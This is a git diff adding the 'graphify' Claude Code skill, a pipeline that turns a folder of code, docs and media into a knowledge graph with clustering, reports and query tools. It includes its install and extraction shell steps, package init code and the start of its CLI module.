+provider: ORIRO.ai +copyright: Copyright (c) 2026 ORIRO.ai +watermark: ORIRO +disable-model-invocation: true +name: graphify +description: "Use for any question about a codebase, its architecture, file relationships, or project content — especially when graphify-out/ exists, where the question should be treated as a graphify query first. Turns any input (code, docs, papers, images, videos) into a persistent knowledge graph with god nodes, community detection, and query/path/explain tools." +--- + +# /graphify + +Turn any folder of files into a navigable knowledge graph with community detection, an honest audit trail, and three outputs: interactive HTML, GraphRAG-ready JSON, and a plain-language GRAPH_REPORT.md. + +## Usage + +``` +/graphify # full pipeline on current directory → Obsidian vault +/graphify # full pipeline on specific path +/graphify https://github.com// # clone repo then run full pipeline on it +/graphify https://github.com// --branch # clone a specific branch +/graphify ... # clone multiple repos, build each, merge into one cross-repo graph +/graphify --mode deep # thorough extraction, richer INFERRED edges +/graphify --update # incremental - re-extract only new/changed files +/graphify --directed # build directed graph (preserves edge direction: source→target) +/graphify --whisper-model medium # use a larger Whisper model for better transcription accuracy +/graphify --cluster-only # rerun clustering on existing graph +/graphify --no-viz # skip visualization, just report + JSON +/graphify --html # (HTML is generated by default - this flag is a no-op) +/graphify --svg # also export graph.svg (embeds in Notion, GitHub) +/graphify --graphml # export graph.graphml (Gephi, yEd) +/graphify --neo4j # generate graphify-out/cypher.txt for Neo4j +/graphify --neo4j-push bolt://localhost:7687 # push directly to Neo4j +/graphify --mcp # start MCP stdio server for agent access +/graphify --watch # watch folder, auto-rebuild on code changes (no LLM needed) +/graphify --wiki # build agent-crawlable wiki (index.md + one article per community) +/graphify --obsidian --obsidian-dir ~/vaults/my-project # write vault to custom path (e.g. existing vault) +/graphify add # fetch URL, save to ./raw, update graph +/graphify add --author "Name" # tag who wrote it +/graphify add --contributor "Name" # tag who added it to the corpus +/graphify query "" # BFS traversal - broad context +/graphify query "" --dfs # DFS - trace a specific path +/graphify query "" --budget 1500 # cap answer at N tokens +/graphify path "AuthModule" "Database" # shortest path between two concepts +/graphify explain "SwinTransformer" # plain-language explanation of a node +``` + +## What graphify is for + +Drop any folder of code, docs, papers, images, or video into graphify and get a queryable knowledge graph. Persistent across sessions, honest audit trail (EXTRACTED/INFERRED/AMBIGUOUS), community detection surfaces cross-document connections you wouldn't think to ask about. + +## What You Must Do When Invoked + +If the user invoked `/graphify --help` or `/graphify -h` (with no other arguments), print the contents of the `## Usage` section above verbatim and stop. Do not run any commands, do not detect files, do not default the path to `.`. Just print the Usage block and return. + +**Fast path — existing graph:** Before doing anything else, check whether `graphify-out/graph.json` exists. The expected location is `graphify-out/graph.json` relative to the **current working directory** (i.e. the project root where you are running commands). If it exists AND the user's request is a natural-language question about the codebase (e.g. "How does X work?", "What calls Y?", "Trace the data flow through Z") and NOT an explicit rebuild command (`--update`, `--cluster-only`, or a bare path/URL that implies fresh extraction): **skip Steps 1–5 entirely and jump straight to `## For /graphify query`.** Run `graphify query ""` immediately. Do not run detect. Do not check corpus size. Do not ask the user to narrow. The graph is already built — use it. + +If no path was given, use `.` (current directory). Do not ask the user for a path. + +If the path argument starts with `https://github.com/` or `http://github.com/`, treat it as a GitHub URL - run Step 0 before anything else, then continue with the resolved local path. + +Follow these steps in order. Do not skip steps. + +### Step 0 - GitHub repos and multi-path merge (only if a URL or several paths) + +Only when the path is one or more `https://github.com/...` URLs, or several local subfolders to merge. See `references/github-and-merge.md` for the clone, cross-repo merge, and monorepo flow, then continue with the resolved local path. A plain local path skips this step. + +### Step 1 - Ensure graphify is installed + +```bash +# Detect the correct Python interpreter (handles uv tool, pipx, venv, system installs) +PYTHON="" +GRAPHIFY_BIN=$(which graphify 2>/dev/null) +# 1. uv tool installs — most reliable on modern Mac/Linux +if [ -z "$PYTHON" ] && command -v uv >/dev/null 2>&1; then + _UV_PY=$(uv tool run graphifyy python -c "import sys; print(sys.executable)" 2>/dev/null) + if [ -n "$_UV_PY" ]; then PYTHON="$_UV_PY"; fi +fi +# 2. Read shebang from graphify binary (pipx and direct pip installs) +if [ -z "$PYTHON" ] && [ -n "$GRAPHIFY_BIN" ]; then + _SHEBANG=$(head -1 "$GRAPHIFY_BIN" | tr -d '#!') + case "$_SHEBANG" in + *[!a-zA-Z0-9/_.-]*) ;; + *) "$_SHEBANG" -c "import graphify" 2>/dev/null && PYTHON="$_SHEBANG" ;; + esac +fi +# 3. Fall back to python3 +if [ -z "$PYTHON" ]; then PYTHON="python3"; fi +if ! "$PYTHON" -c "import graphify" 2>/dev/null; then + if command -v uv >/dev/null 2>&1; then + uv tool install --upgrade graphifyy -q 2>&1 | tail -3 + _UV_PY=$(uv tool run graphifyy python -c "import sys; print(sys.executable)" 2>/dev/null) + if [ -n "$_UV_PY" ]; then PYTHON="$_UV_PY"; fi + else + "$PYTHON" -m pip install graphifyy -q 2>/dev/null \ + || "$PYTHON" -m pip install graphifyy -q --break-system-packages 2>&1 | tail -3 + fi +fi +# Write interpreter path for all subsequent steps (persists across invocations) +mkdir -p graphify-out +"$PYTHON" -c "import sys; open('graphify-out/.graphify_python', 'w', encoding='utf-8').write(sys.executable)" +# Save scan root so `graphify update` (no args) knows where to look next time +echo "$(cd INPUT_PATH && pwd)" > graphify-out/.graphify_root +``` + +If the import succeeds, print nothing and move straight to Step 2. + +**In every subsequent bash block, replace `python3` with `$(cat graphify-out/.graphify_python)` to use the correct interpreter.** + +### Step 2 - Detect files + +```bash +$(cat graphify-out/.graphify_python) -c " +import json +from graphify.detect import detect +from pathlib import Path +result = detect(Path('INPUT_PATH')) +print(json.dumps(result, ensure_ascii=False)) +" > graphify-out/.graphify_detect.json +``` + +Replace INPUT_PATH with the actual path the user provided. Do NOT cat or print the JSON - read it silently and present a clean summary instead: + +``` +Corpus: X files · ~Y words + code: N files (.py .ts .go ...) + docs: N files (.md .txt ...) + papers: N files (.pdf ...) + images: N files + video: N files (.mp4 .mp3 ...) +``` + +Omit any category with 0 files from the summary. + +Then act on it: +- If `total_files` is 0: stop with "No supported files found in [path]." +- If `skipped_sensitive` is non-empty: mention file count skipped, not the file names. +- If `total_words` > 2,000,000 OR `total_files` > 500: show the warning. Then compute the top 5 first-level subdirectories by file count: + - Read `scan_root` from the detect JSON (always an absolute path to the resolved INPUT_PATH). + - Concatenate all file lists across all types (`code`, `document`, `paper`, `image`, `video`). + - Filter out any path that starts with `scan_root + "/graphify-out/"` to exclude converted sidecars. + - For each file, strip the `scan_root` prefix and take the first path component. Files directly in `scan_root` with no subdirectory count as `(root)`. + - If all files are in `(root)` with no subdirectories, do not ask to narrow — no subfolders exist. Instead suggest `--no-cluster` to skip the expensive clustering step and proceed. + - Otherwise rank by count, show the top 5 with file counts, then ask which subfolder to run on. Wait for the user's answer before proceeding. +- Otherwise: proceed directly to Step 2.5 if video files were detected, or Step 3 if not. + +### Step 2.5 - Video and audio (only if video files detected) + +Skip this step entirely if `detect` returned zero `video` files. When the corpus has video or audio, see `references/transcribe.md` to transcribe them to text first, then treat the transcripts as doc files in Step 3. + +### Step 3 - Extract entities and relationships + +**Before starting:** note whether `--mode deep` was given. You must pass `DEEP_MODE=true` to every subagent in Step B2 if it was. Track this from the original invocation - do not lose it. + +This step has two parts: **structural extraction** (deterministic, free) and **semantic extraction** (LLM, costs tokens). + +**Before dispatching subagents:** check whether `GEMINI_API_KEY` or `GOOGLE_API_KEY` is set. If neither is set, print this one-liner to the user: +> Tip: set `GEMINI_API_KEY` or `GOOGLE_API_KEY` to use Gemini for semantic extraction (`pip install 'graphifyy[gemini]'`). + +Print it once, then continue. If `GEMINI_API_KEY` or `GOOGLE_API_KEY` IS set, use `graphify.llm.extract_corpus_parallel(files, backend="gemini")` for semantic extraction instead of dispatching Claude subagents. The default Gemini model is `gemini-3-flash-preview`; set `GRAPHIFY_GEMINI_MODEL` or pass `--model` in headless CLI flows to override it. + +> **No other API keys are read.** If `GEMINI_API_KEY`/`GOOGLE_API_KEY` are unset, fall straight through to Claude Code subagent dispatch (Part B below) — the host session itself is the LLM. graphify does **not** read `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, or any other provider key from the environment. If a host agent prompts the user for `ANTHROPIC_API_KEY` to run extraction, that prompt is a misread of this skill — ignore it and dispatch subagents as written. + +**Run Part A (AST) and Part B (semantic) in parallel. Dispatch all semantic subagents AND start AST extraction in the same message. Both can run simultaneously since they operate on different file types. Merge results in Part C as before.** + +Note: Parallelizing AST + semantic saves 5-15s on large corpora. AST is deterministic and fast; start it while subagents are processing docs/papers. + +#### Part A - Structural extraction for code files + +For any code files detected, run AST extraction in parallel with Part B subagents: + +```bash +$(cat graphify-out/.graphify_python) -c " +import sys, json +from graphify.extract import collect_files, extract +from pathlib import Path +import json + +code_files = [] +detect = json.loads(Path('graphify-out/.graphify_detect.json').read_text(encoding=\"utf-8\")) +for f in detect.get('files', {}).get('code', []): + code_files.extend(collect_files(Path(f)) if Path(f).is_dir() else [Path(f)]) + +if code_files: + result = extract(code_files, cache_root=Path('.')) + Path('graphify-out/.graphify_ast.json').write_text(json.dumps(result, indent=2, ensure_ascii=False), encoding=\"utf-8\") + print(f'AST: {len(result[\"nodes\"])} nodes, {len(result[\"edges\"])} edges') +else: + Path('graphify-out/.graphify_ast.json').write_text(json.dumps({'nodes':[],'edges':[],'input_tokens':0,'output_tokens':0}, ensure_ascii=False), encoding=\"utf-8\") + print('No code files - skipping AST extraction') +" +``` + +#### Part B - Semantic extraction (parallel subagents) + +**Fast path:** If detection found zero docs, papers, and images (code-only corpus), skip Part B entirely and go straight to Part C. AST handles code - there is nothing for semantic subagents to do. + +**MANDATORY: You MUST use the Agent tool here. Reading files yourself one-by-one is forbidden - it is 5-10x slower. If you do not use the Agent tool you are doing this wrong.** + +Before dispatching subagents, print a timing estimate: +- Load `total_words` and file counts from `graphify-out/.graphify_detect.json` +- Estimate agents needed: `ceil(uncached_non_code_files / 22)` (chunk size is 20-25) +- Estimate time: ~45s per agent batch (they run in parallel, so total ≈ 45s × ceil(agents/parallel_limit)) +- Print: "Semantic extraction: ~N files → X agents, estimated ~Ys" + +**Step B0 - Check extraction cache first** + +Before dispatching any subagents, check which files already have cached extraction results: + +```bash +$(cat graphify-out/.graphify_python) -c " +import json +from graphify.cache import check_semantic_cache +from pathlib import Path + +detect = json.loads(Path('graphify-out/.graphify_detect.json').read_text(encoding=\"utf-8\")) +all_files = [f for files in detect['files'].values() for f in files] + +cached_nodes, cached_edges, cached_hyperedges, uncached = check_semantic_cache(all_files) + +if cached_nodes or cached_edges or cached_hyperedges: + Path('graphify-out/.graphify_cached.json').write_text(json.dumps({'nodes': cached_nodes, 'edges': cached_edges, 'hyperedges': cached_hyperedges}, ensure_ascii=False), encoding=\"utf-8\") +Path('graphify-out/.graphify_uncached.txt').write_text('\n'.join(uncached), encoding=\"utf-8\") +print(f'Cache: {len(all_files)-len(uncached)} files hit, {len(uncached)} files need extraction') +" +``` + +Only dispatch subagents for files listed in `graphify-out/.graphify_uncached.txt`. If all files are cached, skip to Part C directly. + +**Step B1 - Split into chunks** + +Load files from `graphify-out/.graphify_uncached.txt`. Split into chunks of 20-25 files each. Each image gets its own chunk (vision needs separate context). When splitting, group files from the same directory together so related artifacts land in the same chunk and cross-file relationships are more likely to be extracted. + +**Step B2 - Dispatch ALL subagents in a single message** + +Call the Agent tool multiple times IN THE SAME RESPONSE - one call per chunk. This is the only way they run in parallel. If you make one Agent call, wait, then make another, you are doing it sequentially and defeating the purpose. + +**IMPORTANT - subagent type:** Always use `subagent_type="general-purpose"`. Do NOT use `Explore` - it is read-only and cannot write chunk files to disk, which silently drops extraction results. General-purpose has Write and Bash access which the subagent needs. + +Concrete example for 3 chunks: +``` +[Agent tool call 1: files 1-15, subagent_type="general-purpose"] +[Agent tool call 2: files 16-30, subagent_type="general-purpose"] +[Agent tool call 3: files 31-45, subagent_type="general-purpose"] +``` +All three in one message. Not three separate messages. + +Each subagent receives this exact prompt (substitute FILE_LIST, CHUNK_NUM, TOTAL_CHUNKS, DEEP_MODE, and CHUNK_PATH). + +CHUNK_PATH must be an **absolute** path — derive it before dispatching: +```bash +PROJECT_ROOT=$(cat graphify-out/.graphify_root) +# Then for chunk N: CHUNK_PATH="${PROJECT_ROOT}/graphify-out/.graphify_chunk_0N.json" +``` + +Subagent prompt template: + +See `references/extraction-spec.md` for the exact subagent prompt (JSON schema, node-ID rules, confidence rubric, frontmatter, hyperedge, and vision rules). Load it only here, only when at least one chunk holds a doc, paper, or image; a pure-code corpus has skipped Part B and never reads it. Pass each subagent that prompt verbatim with FILE_LIST, CHUNK_NUM, TOTAL_CHUNKS, DEEP_MODE, and CHUNK_PATH substituted, and have it write the result to CHUNK_PATH. + +**Step B3 - Collect, cache, and merge** + +Wait for all subagents. For each result: +- Check that `graphify-out/.graphify_chunk_NN.json` exists on disk — this is the success signal +- If the file exists and contains valid JSON with `nodes` and `edges`, include it and save to cache +- If the file is missing, the subagent was likely dispatched as read-only (Explore type) — print a warning: "chunk N missing from disk — subagent may have been read-only. Re-run with general-purpose agent." Do not silently skip. +- If a subagent failed or returned invalid JSON, print a warning and skip that chunk - do not abort + +If more than half the chunks failed or are missing, stop and tell the user to re-run and ensure `subagent_type="general-purpose"` is used. + +Merge all chunk files into `.graphify_semantic_new.json`. **After each Agent call completes, read the real token counts from the Agent tool result's `usage` field and write them back into the chunk JSON before merging** — the chunk JSON itself always has placeholder zeros. Then run: +```bash +$(cat graphify-out/.graphify_python) -c " +import json, glob +from pathlib import Path + +chunks = sorted(glob.glob('graphify-out/.graphify_chunk_*.json')) +all_nodes, all_edges, all_hyperedges = [], [], [] +total_in, total_out = 0, 0 +for c in chunks: + d = json.loads(Path(c).read_text(encoding=\"utf-8\")) + all_nodes += d.get('nodes', []) + all_edges += d.get('edges', []) + all_hyperedges += d.get('hyperedges', []) + total_in += d.get('input_tokens', 0) + total_out += d.get('output_tokens', 0) +Path('graphify-out/.graphify_semantic_new.json').write_text(json.dumps({ + 'nodes': all_nodes, 'edges': all_edges, 'hyperedges': all_hyperedges, + 'input_tokens': total_in, 'output_tokens': total_out, +}, indent=2, ensure_ascii=False), encoding=\"utf-8\") +print(f'Merged {len(chunks)} chunks: {total_in:,} in / {total_out:,} out tokens') +" +``` + +Save new results to cache: +```bash +$(cat graphify-out/.graphify_python) -c " +import json +from graphify.cache import save_semantic_cache +from pathlib import Path + +new = json.loads(Path('graphify-out/.graphify_semantic_new.json').read_text(encoding=\"utf-8\")) if Path('graphify-out/.graphify_semantic_new.json').exists() else {'nodes':[],'edges':[],'hyperedges':[]} +saved = save_semantic_cache(new.get('nodes', []), new.get('edges', []), new.get('hyperedges', [])) +print(f'Cached {saved} files') +" +``` + +Merge cached + new results into `graphify-out/.graphify_semantic.json`: +```bash +$(cat graphify-out/.graphify_python) -c " +import json +from pathlib import Path + +cached = json.loads(Path('graphify-out/.graphify_cached.json').read_text(encoding=\"utf-8\")) if Path('graphify-out/.graphify_cached.json').exists() else {'nodes':[],'edges':[],'hyperedges':[]} +new = json.loads(Path('graphify-out/.graphify_semantic_new.json').read_text(encoding=\"utf-8\")) if Path('graphify-out/.graphify_semantic_new.json').exists() else {'nodes':[],'edges':[],'hyperedges':[]} + +all_nodes = cached['nodes'] + new.get('nodes', []) +all_edges = cached['edges'] + new.get('edges', []) +all_hyperedges = cached.get('hyperedges', []) + new.get('hyperedges', []) +seen = set() +deduped = [] +for n in all_nodes: + if n['id'] not in seen: + seen.add(n['id']) + deduped.append(n) + +merged = { + 'nodes': deduped, + 'edges': all_edges, + 'hyperedges': all_hyperedges, + 'input_tokens': new.get('input_tokens', 0), + 'output_tokens': new.get('output_tokens', 0), +} +Path('graphify-out/.graphify_semantic.json').write_text(json.dumps(merged, indent=2, ensure_ascii=False), encoding=\"utf-8\") +print(f'Extraction complete - {len(deduped)} nodes, {len(all_edges)} edges ({len(cached[\"nodes\"])} from cache, {len(new.get(\"nodes\",[]))} new)') +" +``` +Clean up temp files: `rm -f graphify-out/.graphify_cached.json graphify-out/.graphify_uncached.txt graphify-out/.graphify_semantic_new.json` + +#### Part C - Merge AST + semantic into final extraction + +```bash +$(cat graphify-out/.graphify_python) -c " +import sys, json +from pathlib import Path + +ast = json.loads(Path('graphify-out/.graphify_ast.json').read_text(encoding=\"utf-8\")) +sem = json.loads(Path('graphify-out/.graphify_semantic.json').read_text(encoding=\"utf-8\")) + +# Merge: AST nodes first, semantic nodes deduplicated by id +seen = {n['id'] for n in ast['nodes']} +merged_nodes = list(ast['nodes']) +for n in sem['nodes']: + if n['id'] not in seen: + merged_nodes.append(n) + seen.add(n['id']) + +merged_edges = ast['edges'] + sem['edges'] +merged_hyperedges = sem.get('hyperedges', []) +merged = { + 'nodes': merged_nodes, + 'edges': merged_edges, + 'hyperedges': merged_hyperedges, + 'input_tokens': sem.get('input_tokens', 0), + 'output_tokens': sem.get('output_tokens', 0), +} +Path('graphify-out/.graphify_extract.json').write_text(json.dumps(merged, indent=2, ensure_ascii=False), encoding=\"utf-8\") +total = len(merged_nodes) +edges = len(merged_edges) +print(f'Merged: {total} nodes, {edges} edges ({len(ast[\"nodes\"])} AST + {len(sem[\"nodes\"])} semantic)') +" +``` + +### Step 4 - Build graph, cluster, analyze, generate outputs + +**Before starting:** note whether `--directed` was given. If so, pass `directed=True` to `build_from_json()` in the code block below. This builds a `DiGraph` that preserves edge direction (source→target) instead of the default undirected `Graph`. + +```bash +mkdir -p graphify-out +$(cat graphify-out/.graphify_python) -c " +import sys, json +from graphify.build import build_from_json +from graphify.cluster import cluster, score_all +from graphify.analyze import god_nodes, surprising_connections, suggest_questions +from graphify.report import generate +from graphify.export import to_json +from pathlib import Path + +extraction = json.loads(Path('graphify-out/.graphify_extract.json').read_text(encoding=\"utf-8\")) +detection = json.loads(Path('graphify-out/.graphify_detect.json').read_text(encoding=\"utf-8\")) + +G = build_from_json(extraction) +communities = cluster(G) +cohesion = score_all(G, communities) +tokens = {'input': extraction.get('input_tokens', 0), 'output': extraction.get('output_tokens', 0)} +gods = god_nodes(G) +surprises = surprising_connections(G, communities) +labels = {cid: 'Community ' + str(cid) for cid in communities} +# Placeholder questions - regenerated with real labels in Step 5 +questions = suggest_questions(G, communities, labels) + +report = generate(G, communities, cohesion, labels, gods, surprises, detection, tokens, '.', suggested_questions=questions) +Path('graphify-out/GRAPH_REPORT.md').write_text(report, encoding=\"utf-8\") +to_json(G, communities, 'graphify-out/graph.json') + +analysis = { + 'communities': {str(k): v for k, v in communities.items()}, + 'cohesion': {str(k): v for k, v in cohesion.items()}, + 'gods': gods, + 'surprises': surprises, + 'questions': questions, +} +Path('graphify-out/.graphify_analysis.json').write_text(json.dumps(analysis, indent=2, ensure_ascii=False), encoding=\"utf-8\") +if G.number_of_nodes() == 0: + print('ERROR: Graph is empty - extraction produced no nodes.') + print('Possible causes: all files were skipped, binary-only corpus, or extraction failed.') + raise SystemExit(1) +print(f'Graph: {G.number_of_nodes()} nodes, {G.number_of_edges()} edges, {len(communities)} communities') +" +``` + +If this step prints `ERROR: Graph is empty`, stop and tell the user what happened - do not proceed to labeling or visualization. + +Replace INPUT_PATH with the actual path. + +### Step 5 - Label communities + +Read `graphify-out/.graphify_analysis.json`. For each community key, look at its node labels and write a 2-5 word plain-language name (e.g. "Attention Mechanism", "Training Pipeline", "Data Loading"). + +Then regenerate the report and save the labels for the visualizer: + +```bash +$(cat graphify-out/.graphify_python) -c " +import sys, json +from graphify.build import build_from_json +from graphify.cluster import score_all +from graphify.analyze import god_nodes, surprising_connections, suggest_questions +from graphify.report import generate +from pathlib import Path + +extraction = json.loads(Path('graphify-out/.graphify_extract.json').read_text(encoding=\"utf-8\")) +detection = json.loads(Path('graphify-out/.graphify_detect.json').read_text(encoding=\"utf-8\")) +analysis = json.loads(Path('graphify-out/.graphify_analysis.json').read_text(encoding=\"utf-8\")) + +G = build_from_json(extraction) +communities = {int(k): v for k, v in analysis['communities'].items()} +cohesion = {int(k): v for k, v in analysis['cohesion'].items()} +tokens = {'input': extraction.get('input_tokens', 0), 'output': extraction.get('output_tokens', 0)} + +# LABELS - replace these with the names you chose above +labels = LABELS_DICT + +# Regenerate questions with real community labels (labels affect question phrasing) +questions = suggest_questions(G, communities, labels) + +report = generate(G, communities, cohesion, labels, analysis['gods'], analysis['surprises'], detection, tokens, '.', suggested_questions=questions) +Path('graphify-out/GRAPH_REPORT.md').write_text(report, encoding=\"utf-8\") +Path('graphify-out/.graphify_labels.json').write_text(json.dumps({str(k): v for k, v in labels.items()}, ensure_ascii=False), encoding=\"utf-8\") +print('Report updated with community labels') +" +``` + +Replace `LABELS_DICT` with the actual dict you constructed (e.g. `{0: "Attention Mechanism", 1: "Training Pipeline"}`). +Replace INPUT_PATH with the actual path. + +### Step 6 - Generate Obsidian vault (opt-in) + HTML + +**Generate HTML always** (unless `--no-viz`). **Obsidian vault only if `--obsidian` was explicitly given** — skip it otherwise, it generates one file per node. + +If `--obsidian` was given: + +- If `--obsidian-dir ` was also given, pass it via `--dir`. Otherwise defaults to `graphify-out/obsidian`. + +```bash +graphify export obsidian +# or with custom dir: graphify export obsidian --dir ~/vaults/my-project +``` + +Generate the HTML graph (always, unless `--no-viz`): + +```bash +graphify export html # auto-aggregates to community view if graph > 5000 nodes +# or: graphify export html --no-viz +``` + +### Steps 6b-8 - Wiki, Neo4j, SVG, GraphML, MCP, benchmark (only on their flags) + +These run only when their flag is present (`--wiki`, `--neo4j`/`--neo4j-push`, `--svg`, `--graphml`, `--mcp`) or, for the token-reduction benchmark, when `total_words` exceeds 5,000. A default run with no export flags skips all of them. See `references/exports.md` for each one. Run any `--wiki` export before Step 9 cleanup so `.graphify_labels.json` is still available. + +--- + +### Step 9 - Save manifest, update cost tracker, clean up, and report + +```bash +$(cat graphify-out/.graphify_python) -c " +import json +from pathlib import Path +from datetime import datetime, timezone +from graphify.detect import save_manifest + +# Save manifest for --update +detect = json.loads(Path('graphify-out/.graphify_detect.json').read_text(encoding=\"utf-8\")) +# In --update mode, 'all_files' carries the full corpus; 'files' is the changed +# subset. Full-rebuild mode populates only 'files', so the fallback handles that. +save_manifest(detect.get('all_files') or detect['files']) + +# Update cumulative cost tracker +extract = json.loads(Path('graphify-out/.graphify_extract.json').read_text(encoding=\"utf-8\")) +input_tok = extract.get('input_tokens', 0) +output_tok = extract.get('output_tokens', 0) + +cost_path = Path('graphify-out/cost.json') +if cost_path.exists(): + cost = json.loads(cost_path.read_text(encoding=\"utf-8\")) +else: + cost = {'runs': [], 'total_input_tokens': 0, 'total_output_tokens': 0} + +cost['runs'].append({ + 'date': datetime.now(timezone.utc).isoformat(), + 'input_tokens': input_tok, + 'output_tokens': output_tok, + 'files': detect.get('total_files', 0), +}) +cost['total_input_tokens'] += input_tok +cost['total_output_tokens'] += output_tok +cost_path.write_text(json.dumps(cost, indent=2, ensure_ascii=False), encoding=\"utf-8\") + +print(f'This run: {input_tok:,} input tokens, {output_tok:,} output tokens') +print(f'All time: {cost[\"total_input_tokens\"]:,} input, {cost[\"total_output_tokens\"]:,} output ({len(cost[\"runs\"])} runs)') +" +rm -f graphify-out/.graphify_detect.json graphify-out/.graphify_extract.json graphify-out/.graphify_ast.json graphify-out/.graphify_semantic.json graphify-out/.graphify_analysis.json +find graphify-out -maxdepth 1 -name '.graphify_chunk_*.json' -delete 2>/dev/null +rm -f graphify-out/.needs_update 2>/dev/null || true +``` + +Tell the user (omit the obsidian line unless --obsidian was given): +``` +Graph complete. Outputs in PATH_TO_DIR/graphify-out/ + + graph.html - interactive graph, open in browser + GRAPH_REPORT.md - audit report + graph.json - raw graph data + obsidian/ - Obsidian vault (only if --obsidian was given) +``` + +If graphify saved you time, consider supporting it: https://github.com/sponsors/safishamsi + +Replace PATH_TO_DIR with the actual absolute path of the directory that was processed. + +Then paste these sections from GRAPH_REPORT.md directly into the chat: +- God Nodes +- Surprising Connections +- Suggested Questions + +Do NOT paste the full report - just those three sections. Keep it concise. + +Then immediately offer to explore. Pick the single most interesting suggested question from the report - the one that crosses the most community boundaries or has the most surprising bridge node - and ask: + +> "The most interesting question this graph can answer: **[question]**. Want me to trace it?" + +If the user says yes, run `/graphify query "[question]"` on the graph and walk them through the answer using the graph structure - which nodes connect, which community boundaries get crossed, what the path reveals. Keep going as long as they want to explore. Each answer should end with a natural follow-up ("this connects to X - want to go deeper?") so the session feels like navigation, not a one-shot report. + +The graph is the map. Your job after the pipeline is to be the guide. + +--- + +## Interpreter guard for subcommands + +Before running any subcommand below (`--update`, `--cluster-only`, `query`, `path`, `explain`, `add`), check that `.graphify_python` exists. If it's missing (e.g. user deleted `graphify-out/`), re-resolve the interpreter first: + +```bash +if [ ! -f graphify-out/.graphify_python ]; then + GRAPHIFY_BIN=$(which graphify 2>/dev/null) + if [ -n "$GRAPHIFY_BIN" ]; then + PYTHON=$(head -1 "$GRAPHIFY_BIN" | tr -d '#!') + case "$PYTHON" in *[!a-zA-Z0-9/_.-]*) PYTHON="python3" ;; esac + else + PYTHON="python3" + fi + mkdir -p graphify-out + "$PYTHON" -c "import sys; open('graphify-out/.graphify_python', 'w', encoding='utf-8').write(sys.executable)" +fi +``` + +## For --update and --cluster-only + +Both are non-default subcommands. `--update` re-extracts only new or changed files; `--cluster-only` reruns clustering on the existing graph. See `references/update.md` for both flows. + +--- + +## For /graphify query + +When `graphify-out/graph.json` already exists and the user asks a question about the corpus, answer from the graph rather than rebuilding it: + +```bash +graphify query "" +``` + +If the `graphify query` CLI is unavailable, fall back to an inline NetworkX traversal of `graphify-out/graph.json`. Answer using only what the graph output contains, and quote `source_location` when citing a specific fact. For the BFS/DFS traversal modes, the `--budget` cap, the NetworkX fallback, `save-result` feedback, and the `/graphify path` and `/graphify explain` flows, see `references/query.md`. + +--- + +## For /graphify add and --watch + +Neither is part of the default build. When the user runs `/graphify add ` to fetch a URL into the corpus, or passes `--watch` to auto-rebuild on file changes, see `references/add-watch.md`. + +--- + +## For the commit hook and native CLAUDE.md integration + +When the user asks to install the post-commit auto-rebuild hook or wire graphify into a project's CLAUDE.md, see `references/hooks.md`. + +--- + +## Honesty Rules + +- Never invent an edge. If unsure, use AMBIGUOUS. +- Never skip the corpus check warning. +- Always show token cost in the report. +- Never hide cohesion scores behind symbols - show the raw number. +- Never run HTML viz on a graph with more than 5,000 nodes without warning the user. diff --git a/skills/graphify/__init__.py b/skills/graphify/__init__.py new file mode 100644 index 00000000..e34c938e --- /dev/null +++ b/skills/graphify/__init__.py @@ -0,0 +1,28 @@ +"""graphify - extract · build · cluster · analyze · report.""" + + +def __getattr__(name): + # Lazy imports so `graphify install` works before heavy deps are in place. + _map = { + "extract": ("graphify.extract", "extract"), + "collect_files": ("graphify.extract", "collect_files"), + "build_from_json": ("graphify.build", "build_from_json"), + "cluster": ("graphify.cluster", "cluster"), + "score_all": ("graphify.cluster", "score_all"), + "cohesion_score": ("graphify.cluster", "cohesion_score"), + "god_nodes": ("graphify.analyze", "god_nodes"), + "surprising_connections": ("graphify.analyze", "surprising_connections"), + "suggest_questions": ("graphify.analyze", "suggest_questions"), + "generate": ("graphify.report", "generate"), + "to_json": ("graphify.export", "to_json"), + "to_html": ("graphify.export", "to_html"), + "to_svg": ("graphify.export", "to_svg"), + "to_canvas": ("graphify.export", "to_canvas"), + "to_wiki": ("graphify.wiki", "to_wiki"), + } + if name in _map: + import importlib + mod_name, attr = _map[name] + mod = importlib.import_module(mod_name) + return getattr(mod, attr) + raise AttributeError(f"module 'graphify' has no attribute {name!r}") diff --git a/skills/graphify/__main__.py b/skills/graphify/__main__.py new file mode 100644 index 00000000..759d913b --- /dev/null +++ b/skills/graphify/__main__.py @@ -0,0 +1,4582 @@ +"""graphify CLI - `graphify install` sets up the Claude Code skill.""" + +from __future__ import annotations +import functools +import json +import os +import platform +import re +import shutil +import sys +from pathlib import Path + +try: + from importlib.metadata import version as _pkg_version + + __version__ = _pkg_version("graphifyy") +except Exception: + __version__ = "unknown" + +# Output directory — override with GRAPHIFY_OUT env var for worktrees or shared-output setups. +# Accepts a relative name ("graphify-out-feature") or an absolute path ("/shared/graphify-out"). +_GRAPHIFY_OUT = os.environ.get("GRAPHIFY_OUT", "graphify-out") + + +@functools.lru_cache(maxsize=None) +def _always_on(basename: str) -> str: + """Read a packaged always-on instruction block from graphify/always_on/. + + The six always-on blocks (CLAUDE.md / AGENTS.md / GEMINI.md / VS Code + Copilot instructions / Antigravity rules / Kiro steering) live as committed + markdown next to this module, generated by tools/skillgen from a single + human-edited fragment and guarded against drift by ``skillgen --check``. The + installer injects them verbatim via ``_replace_or_append_section``, so the + bytes here must match the former triple-quoted constant exactly — the + always-on-roundtrip validator proves that. + """ + path = Path(__file__).parent / "always_on" / f"{basename}.md" + try: + return path.read_text(encoding="utf-8") + except OSError as exc: + # Defer to use-time so a missing/corrupt packaged block can't crash module + # import (which would brick every CLI command, not just install). Reached + # only by an install/integration path that actually needs this block. + raise RuntimeError( + f"graphify install is incomplete: missing always-on block '{basename}' " + f"at {path}. Reinstall graphifyy (e.g. `uv tool install --reinstall graphifyy`)." + ) from exc + + +_ALWAYS_ON_ALIASES = { + "_CLAUDE_MD_SECTION": "claude-md", + "_AGENTS_MD_SECTION": "agents-md", + "_GEMINI_MD_SECTION": "gemini-md", + "_VSCODE_INSTRUCTIONS_SECTION": "vscode-instructions", + "_ANTIGRAVITY_RULES": "antigravity-rules", + "_KIRO_STEERING": "kiro-steering", +} + + +def __getattr__(name: str) -> str: + # PEP 562: lazily resolve the legacy always-on section constants for external + # importers (e.g. the install-string tests). In-module code calls _always_on() + # directly; nothing is read at import time, so a missing block can no longer + # brick the CLI on `import graphify.__main__` (#1121 follow-up). + base = _ALWAYS_ON_ALIASES.get(name) + if base is not None: + return _always_on(base) + raise AttributeError(f"module {__name__!r} has no attribute {name!r}") + + +def _default_graph_path() -> 